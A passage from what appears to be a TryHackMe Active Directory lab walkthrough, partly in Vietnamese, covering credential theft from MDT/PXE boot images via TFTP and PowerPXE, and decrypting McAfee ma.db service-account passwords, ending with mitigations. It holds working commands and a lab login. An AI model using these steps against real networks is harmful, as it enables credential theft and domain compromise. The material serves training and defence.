This is why blind relays are not usually popular. Ideally, you would first breach AD using another method and then perform enumeration to determine the privileges associated with the account you have compromised. From here, you can usually perform lateral movement for privilege escalation across the domain. However, it is still good to fundamentally under how a relay attack works, as shown in the diagram below:

A computer hacker with red eyes

Description automatically generated

If you want to try this type of attack in action, head over to the [Holo Network](https://tryhackme.com/jr/hololive). We will also come back to this one in future AD Rooms.

1. **Microsoft Deployment Toolkit**

Large organisations need tools to deploy and manage the infrastructure of the estate. In massive organisations, you can't have your IT personnel using DVDs or even USB Flash drives running around installing software on every single machine. Luckily, Microsoft already provides the tools required to manage the estate (quản lý tài sản). However, we can exploit misconfigurations in these tools to also breach AD.

## MDT and SCCM

Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS). Large organisations use services such as MDT to help deploy new images in their estate more efficiently since the base images can be maintained and updated in a central location.

Usually, MDT is integrated with Microsoft's System Center Configuration Manager (SCCM), which manages all updates for all Microsoft applications, services, and operating systems. MDT is used for new deployments. Essentially it allows the IT team to preconfigure and manage boot images. Hence, if they need to configure a new machine, they just need to plug in a network cable, and everything happens automatically. They can make various changes to the boot image, such as already installing default software like Office365 and the organisation's anti-virus of choice. It can also ensure that the new build is updated the first time the installation runs.

SCCM can be seen as almost an expansion and the big brother to MDT. What happens to the software after it is installed? Well, SCCM does this type of patch management. It allows the IT team to review available updates to all software installed across the estate. The team can also test these patches in a sandbox environment to ensure they are stable before centrally deploying them to all domain-joined machines. It makes the life of the IT team significantly easier.

However, anything that provides central management of infrastructure such as MDT and SCCM can also be targetted by attackers in an attempt to take over large portions of critical functions in the estate. Although MDT can be configured in various ways, for this task, we will focus exclusively on a configuration called Preboot Execution Environment (PXE) boot.

## PXE Boot

Large organisations use PXE boot to allow new devices that are connected to the network to load and install the OS directly over a network connection. MDT can be used to create, manage, and host PXE boot images. PXE boot is usually integrated with DHCP, which means that if DHCP assigns an IP lease, the host is allowed to request the PXE boot image and start the network OS installation process. The communication flow is shown in the diagram below**:**

A computer screen with arrows and a computer

Description automatically generatedOnce the process is performed, the client will use a TFTP connection to download the PXE boot image. We can exploit the PXE boot image for two different purposes:

* Inject a privilege escalation vector, such as a Local Administrator account, to gain Administrative access to the OS once the PXE boot has been completed.
* Perform password scraping attacks to recover AD credentials used during the install.

In this task, we will focus on the latter. We will attempt to recover the deployment service account associated with the MDT service during installation for this password scraping attack. Furthermore, there is also the possibility of retrieving other AD accounts used for the unattended installation of applications and services.

## PXE Boot Image Retrieval

Since DHCP is a bit finicky, we will bypass the initial steps of this attack. We will skip the part where we attempt to request an IP and the PXE boot preconfigure details from DHCP. We will perform the rest of the attack from this step in the process manually.

The first piece of information regarding the PXE Boot preconfigure you would have received via DHCP is the IP of the MDT server. In our case, you can recover that information from the TryHackMe network diagram.

The second piece of information you would have received was the names of the BCD files. These files store the information relevant to PXE Boots for the different types of architecture. To retrieve this information, you will need to connect to this website: [http://pxeboot.za.tryhackme.com](http://pxeboot.za.tryhackme.com/). It will list various BCD files:

A screenshot of a computer

Description automatically generated

Usually, you would use TFTP to request each of these BCD files and enumerate the configuration for all of them. However, in the interest of time, we will focus on the BCD file of the **x64** architecture. Copy and store the full name of this file. For the rest of this exercise, we will be using this name placeholder **x64{7B...B3}.bcd** since the files and their names are regenerated by MDT every day. Each time you see this placeholder, remember to replace it with your specific BCD filename. **Note as well that if the network has just started, these file names will only update after 10 mintes of the network being active.**

With this initial information now recovered from DHCP (wink wink), we can enumerate and retrieve the PXE Boot image. We will be using our SSH connection on THMJMP1 for the next couple of steps, so please authenticate to this SSH session using the following:

**ssh thm@THMJMP1.za.tryhackme.com**

and the password of **Password1@**.

To ensure that all users of the network can use SSH, start by creating a folder with your username and copying the powerpxe repo into this folder:

SSHCommand Prompt

**C:\Users\THM>cd Documents**

**C:\Users\THM\Documents> mkdir <username>**

**C:\Users\THM\Documents> copy C:\powerpxe <username>\**

**C:\Users\THM\Documents\> cd <username>**

The first step we need to perform is using TFTP and downloading our BCD file to read the configuration of the MDT server. TFTP is a bit trickier than FTP since we can't list files. Instead, we send a file request, and the server will connect back to us via UDP to transfer the file. Hence, we need to be accurate when specifying files and file paths. The BCD files are always located in the /Tmp/ directory on the MDT server. We can initiate the TFTP transfer using the following command in our SSH session:

SSHCommand Prompt

**C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd**

**Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s**

You will have to lookup THMMDT IP with **nslookup thmmdt.za.tryhackme.com**. With the BCD file now recovered, we will be using [powerpxe](https://github.com/wavestone-cdt/powerpxe) to read its contents. Powerpxe is a PowerShell script that automatically performs this type of attack but usually with varying results, so it is better to perform a manual approach. We will use the Get-WimFile function of powerpxe to recover the locations of the PXE Boot images from the BCD file:

SSHCommand Prompt

**C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass**

**Windows PowerShell**

**Copyright (C) Microsoft Corporation. All rights reserved.**

**PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1**

**PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"**

**PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile**

**>> Parse the BCD file: conf.bcd**

**>>>> Identify wim file : <PXE Boot Image Location>**

**<PXE Boot Image Location>**

WIM files are bootable images in the Windows Imaging Format (WIM). Now that we have the location of the PXE Boot image, we can again use TFTP to download this image:

SSHCommand Prompt

**PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim**

**Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s**

This download will take a while since you are downloading a fully bootable and configured Windows image. Maybe stretch your legs and grab a glass of water while you wait.

## Recovering Credentials from a PXE Boot Image

Now that we have recovered the PXE Boot image, we can exfiltrate stored credentials. It should be noted that there are various attacks that we could stage. We could inject a local administrator user, so we have admin access as soon as the image boots, we could install the image to have a domain-joined machine. If you are interested in learning more about these attacks, you can read this [article](https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/). This exercise will focus on a simple attack of just attempting to exfiltrate credentials.

Again we will use powerpxe to recover the credentials, but you could also do this step manually by extracting the image and looking for the bootstrap.ini file, where these types of credentials are often stored. To use powerpxe to recover the credentials from the bootstrap file, run the following command:

SSHCommand Prompt

**PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim**

**>> Open pxeboot.wim**

**>>>> Finding Bootstrap.ini**

**>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$**

**>>>> >>>> UserID = <account>**

**>>>> >>>> UserDomain = ZA**

**>>>> >>>> UserPassword = <password>**

As you can see, powerpxe was able to recover the AD credentials. We now have another set of AD credentials that we can use!

1. **Configuration Files**

The last enumeration avenue we will explore in this network is configuration files. Suppose you were lucky enough to cause a breach that gave you access to a host on the organisation's network. In that case, configuration files are an excellent avenue to explore in an attempt to recover AD credentials. Depending on the host that was breached, various configuration files may be of value for enumeration:

* Web application config files
* Service configuration files
* Registry keys
* Centrally deployed applications

Several enumeration scripts, such as [Seatbelt](https://github.com/GhostPack/Seatbelt), can be used to automate this process.

## **Configuration File Credentials**

However, we will focus on recovering credentials from a centrally deployed application in this task. Usually, these applications need a method to authenticate to the domain during both the installation and execution phases. An example of such as application is McAfee Enterprise Endpoint Security, which organisations can use as the endpoint detection and response tool for security.

McAfee embeds the credentials used during installation to connect back to the orchestrator in a file called ma.db. This database file can be retrieved and read with local access to the host to recover the associated AD service account. We will be using the SSH access on THMJMP1 again for this exercise.

The ma.db file is stored in a fixed location:

SSHCommand Prompt

**thm@THMJMP1 C:\Users\THM>cd C:\ProgramData\McAfee\Agent\DB**

**thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir**

**Volume in drive C is Windows 10**

**Volume Serial Number is 6A0F-AA0F**

**Directory of C:\ProgramData\McAfee\Agent\DB**

**03/05/2022 10:03 AM <DIR> .**

**03/05/2022 10:03 AM <DIR> ..**

**03/05/2022 10:03 AM 120,832 ma.db**

**1 File(s) 120,832 bytes**

**2 Dir(s) 39,426,285,568 bytes free**

We can use SCP to copy the ma.db to our AttackBox:

Terminal

**thm@thm:~/thm# scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .**

**thm@10.200.4.249's password:**

**ma.db 100% 118KB 144.1KB/s 00:00**

To read the database file, we will use a tool called sqlitebrowser. We can open the database using the following command:

Terminal

**thm@thm:# sqlitebrowser ma.db**

Using sqlitebrowser, we will select the Browse Data option and focus on the AGENT\_REPOSITORIES table:

A screenshot of a computer

Description automatically generated

We are particularly interested in the second entry focusing on the DOMAIN, AUTH\_USER, and AUTH\_PASSWD field entries. Make a note of the values stored in these entries. However, the AUTH\_PASSWD field is encrypted. Luckily, McAfee encrypts this field with a known key. Therefore, we will use the following old python2 script to decrypt the password. The script has been provided as a downloadable task file or on the AttackBox, it can be found in the**/root/Rooms/BreachingAD/task7/** directory.

**Note: The tool we will use here is quite old. It uses Python v2 and relies on an old crypto library. If you cannot get the script to work on your own VM, please make use of the AttackBox. However, there has been a recent update to the application to ensure that it works on Python3 as well, you can download the latest version here:**[**https://github.com/funoverip/mcafee-sitelist-pwd-decryption**](https://github.com/funoverip/mcafee-sitelist-pwd-decryption)

You will have to unzip the mcafee-sitelist-pwd-decryption.zip file:

Terminal

**thm@thm:~/root/Rooms/BreachingAD/task7/$ unzip mcafeesitelistpwddecryption.zip**

By providing the script with our base64 encoded and encrypted password, the script will provide the decrypted password:

Terminal

**thm@thm:~/root/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master$ python2 mcafee\_sitelist\_pwd\_decrypt.py <AUTH PASSWD VALUE>**

**Crypted password : <AUTH PASSWD VALUE>**

**Decrypted password : <Decrypted Pasword>**

We now once again have a set of AD credentials that we can use for further enumeration! This is just one example of recovering credentials from configuration files. If you are ever able to gain a foothold on a host, make sure to follow a detailed and refined methodology to ensure that you recover all loot from the host, including credentials and other sensitive information that can be stored in configuration files.

# **Conclusion**

Một số lượng đáng kể các con đường tấn công có thể được thực hiện để vi phạm AD. Chúng tôi đã đề cập đến một số thứ thường được sử dụng trong cuộc tập trận của đội đỏ trên mạng này. Do quy mô lớn của bề mặt tấn công, các con đường mới để khôi phục bộ thông tin xác thực AD đầu tiên đó liên tục được khám phá. Cần phải xây dựng một phương pháp liệt kê thích hợp và liên tục cập nhật nó để tìm ra cặp thông tin xác thực ban đầu đó.

**Giảm nhẹ**

Về mặt giảm thiểu, có một số bước mà tổ chức có thể thực hiện:

Nhận thức và đào tạo người dùng - Mắt xích yếu nhất trong chuỗi an ninh mạng hầu như luôn là người dùng. Đào tạo người dùng và giúp họ biết rằng họ nên cẩn thận trong việc tiết lộ thông tin nhạy cảm như thông tin xác thực và không tin tưởng các email đáng ngờ sẽ làm giảm bề mặt tấn công này.

* Hạn chế tiếp xúc trực tuyến với các dịch vụ và ứng dụng AD - Không phải tất cả các ứng dụng đều phải truy cập được từ internet, đặc biệt là những ứng dụng hỗ trợ xác thực NTLM và LDAP. Thay vào đó, những ứng dụng này nên được đặt trong mạng nội bộ có thể truy cập được thông qua VPN. Sau đó, VPN có thể hỗ trợ xác thực đa yếu tố để tăng cường bảo mật.
* Thực thi Kiểm soát truy cập mạng (Enforce Network Access Control - NAC) - NAC có thể ngăn chặn kẻ tấn công kết nối các thiết bị giả mạo trên mạng. Tuy nhiên, việc này sẽ đòi hỏi khá nhiều nỗ lực vì các thiết bị hợp pháp sẽ phải đưa vào danh sách cho phép.
* Thực thi việc ký SMB - Bằng cách thực thi việc ký SMB, các cuộc tấn công chuyển tiếp SMB là không thể thực hiện được.
* Tuân theo nguyên tắc đặc quyền tối thiểu - Trong hầu hết các trường hợp, kẻ tấn công sẽ có thể khôi phục một bộ thông tin đăng nhập AD. Bằng cách tuân theo nguyên tắc đặc quyền tối thiểu, đặc biệt đối với thông tin xác thực được sử dụng cho dịch vụ, rủi ro liên quan đến việc thông tin xác thực này bị xâm phạm có thể giảm đáng kể.

Bây giờ chúng ta đã vi phạm AD, bước tiếp theo là thực hiện liệt kê AD để hiểu rõ hơn về cấu trúc miền và xác định các cấu hình sai tiềm ẩn có thể bị khai thác. Điều này sẽ được đề cập ở phòng tiếp theo. Hãy nhớ xóa cấu hình DNS!